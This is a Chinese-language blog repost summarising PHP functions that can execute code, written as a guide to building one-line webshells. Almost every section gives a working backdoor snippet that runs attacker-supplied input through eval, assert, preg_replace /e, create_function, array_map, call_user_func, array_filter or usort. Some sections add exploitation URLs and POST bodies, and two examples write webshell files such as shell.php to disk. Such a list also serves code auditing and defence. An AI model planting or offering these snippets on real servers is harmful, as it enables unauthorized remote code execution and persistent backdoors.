PHP中可执行代码小结

作者:神秘网友 发布时间:2021-02-28 14:20:02

PHP中可执行代码小结

PHP中可执行代码小结

PHP中可以执行代码的函数,常用于编写一句话木马,可能导致代码执行漏洞,这里对代码执行函数做一些归纳。

  常见代码执行函数,如

    eval()、assert()、preg_replace()、create_function()

    array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()

    文件操作函数、动态函数($a($b))

eval()

  eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:php eval($_POST[cmd])

phpinfo()

phpinfo函数可以显示出PHP 所有相关信息。是排查配置php是是否出错或漏配置模块的主要方式之一!代码如下 :

php
 phpinfo();

只要访问到phpinfo()函数的web页面,即返回php的所有相关信息!

exec()

system()

shell_exec()

echo shell_exec

passthru()

assert()

  与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:

示例代码:

php 
//cmd=phpinfo()
assert($_REQUEST[cmd]); 

preg_replace()

  mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int $count ]] )

  搜索subject中匹配pattern的部分, 以replacement进行替换。

  preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码

示例代码:

php 
//cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");

create_function()

  create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

代码示例:

php 
//cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();

参考链接:

代码安全:PHP create_function()注入命令执行漏洞

http://www.cnseay.com/1901/

http://lovexm.blog.51cto.com/3567383/1743442

http://qqhack8.blog.163.com/blog/static/11414798520153795157139/

array_map()

  array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

代码示例:

php
//func=systemcmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);

call_user_func()/call_user_func_array ()

  call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

  call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

php 
//cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);


php 
//cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);

array_filter()

  array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

  依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

php 
//func=systemcmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);

usort()、uasort()

  usort() 通过用户自定义的比较函数对数组进行排序。

  uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

代码示例:

php环境=5.6才能用
php usort(...$_GET);
利用方式:
test.php1[]=1-11[]=eval($_POST['x'])2=assert
[POST]:x=phpinfo();

php环境=5.6才能用
php usort($_GET,'asse'.'rt');
利用方式:
test.php1=1+12=eval($_POST[x])
[POST]:x=phpinfo();

源自:https://www.wd0g.com/p=190

https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

文件操作函数

  file_put_contents() 函数把一个字符串写入文件中。

  fputs() 函数写入文件

代码示例:

php 
$test='php eval($_POST[cmd]);';
file_put_contents('test1.php',$test);

php 
fputs(fopen('shell.php','w'),'php eval($_POST[cmd])'); 

动态函数

  PHP函数直接由字符串拼接

代码示例:

php 
//a=assertb=phpinfo()
$_GET['a']($_GET['b']);

PHP中可执行代码小结 相关文章

  1. promise的自定义代码实现

    promise的几个关键问题 如何改变 promise 的状态 (1) resolve(value): 如果当前是 pending 就会变为 resolved (2) reject(reason): 如果当前是 pending 就会变为 rejected (3) 抛出异常: 如果当前是 pending 就会变为 rejected 一个 promise 指定多个成功/失

  2. C++ 编译时字符串加密

    C++源代码虽然被反编译不太可能,但写在源代码里的常量字符串却在有些情况下会泄漏一些重要信息。比如 sql语句、数据库连接字符串、密码、密钥等等。 用户通过PEEdit之类的软件不但可以看到,还可以修改以后将文件别存为一个新的PE文件,并且程序也会按照修

  3. C++算法代码——小C的数学广角

    题目来自:http://218.5.5.242:9018/JudgeOnline/problem.phpid=1659、 题目描述 当小C 4年级的时候,他的数学书上有一个数学广角记载着这样一道题:有n个人(n=100)在水龙头前拿着水桶排队准备装水,每个人装水所需时间不同。为了使大家等待的时间总和尽量

  4. C++算法代码——判断回文

    题目来自:http://218.5.5.242:9018/JudgeOnline/problem.phpid=1026 题目描述 输入一串字符,字符个数不超过100,且以.结束,判断它们是否构成回文。 输入 一串字符,以.表示结束。 输出 输出判断的结果,以yes或者no表示。 样例输入 abccba.df 样例输出 yes

  5. AES php java 互转

    php phpclass AesCrypt{ //初始化向量 private $iv = '84195bd96a8a2e7f'; //Mcrypt算法 private $cipher = MCRYPT_RIJNDAEL_128; //Mcrypt支持的加密模型 特别适用于对文件进行加密。 相比 ECB, 它的安全性有明显提升。 private $mode = MCRYPT_MODE_CBC;

  6. php数组使用json_encode函数中文被编码成null的原因和解决办法

    json格式在开发中用的十分广泛。在php中json_encode函数可以直接将数组转成 json格式,十分方便。但是有可能你在使用json_encode函数时,无奈的发现中文被编码成null了。原来json只支持转义utf-8编码格式的中文。 所以如果你是数据是gbk格式或者gb2312格式

  7. go面试题

    第一题: 1、下面这段代码输出的内容 package main import ( "fmt" ) func main() { defer_call() }func defer_call() { defer func() { fmt.Println("打印前") }() defer func() { fmt.Println("打印中") }() defer func() { fmt.Println("打印后") }() pan

  8. servlet提取冗余代码,通过反射完成方法分配,

    package com.zky.hotelmanagement.web.servlet; import com.fasterxml.jackson.databind.ObjectMapper; import org.apache.poi.hssf.usermodel.*; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.htt

  9. ThinkPHP 原生分页功能改进,更好用更美观

    编写自定义类 在 thinkphp\library\think\paginator\driver 目录下新建php类文件,如名称为TpPage.php namespace think\paginator\driver;use think\Paginator;class TpPage extends Paginator { //首页 protected function home() { if ($this-currentPage(

  10. SeaCms6.4.5 远程代码执行漏洞复现

    SeaCms6.4.5存在远程代码执行漏洞。 注:工具地址 更新4.2版本 链接:https://pan.baidu.com/s/1j-dMtJYiOk2Pfo7QoEXHMA 提取码:rw8l https://wws.lanzous.com/b01zycnta 密码:g3uz 开发手册地址:https://www.kancloud.cn/qq496672097/limanmanexp 漏洞点

每天更新java,php,javaScript,go,python,nodejs,vue,android,mysql等相关技术教程,教程由网友分享而来,欢迎大家分享IT技术教程到本站,帮助自己同时也帮助他人!

Copyright 2020, All Rights Reserved. Powered by 跳墙网(www.tqwba.com)|网站地图|关键词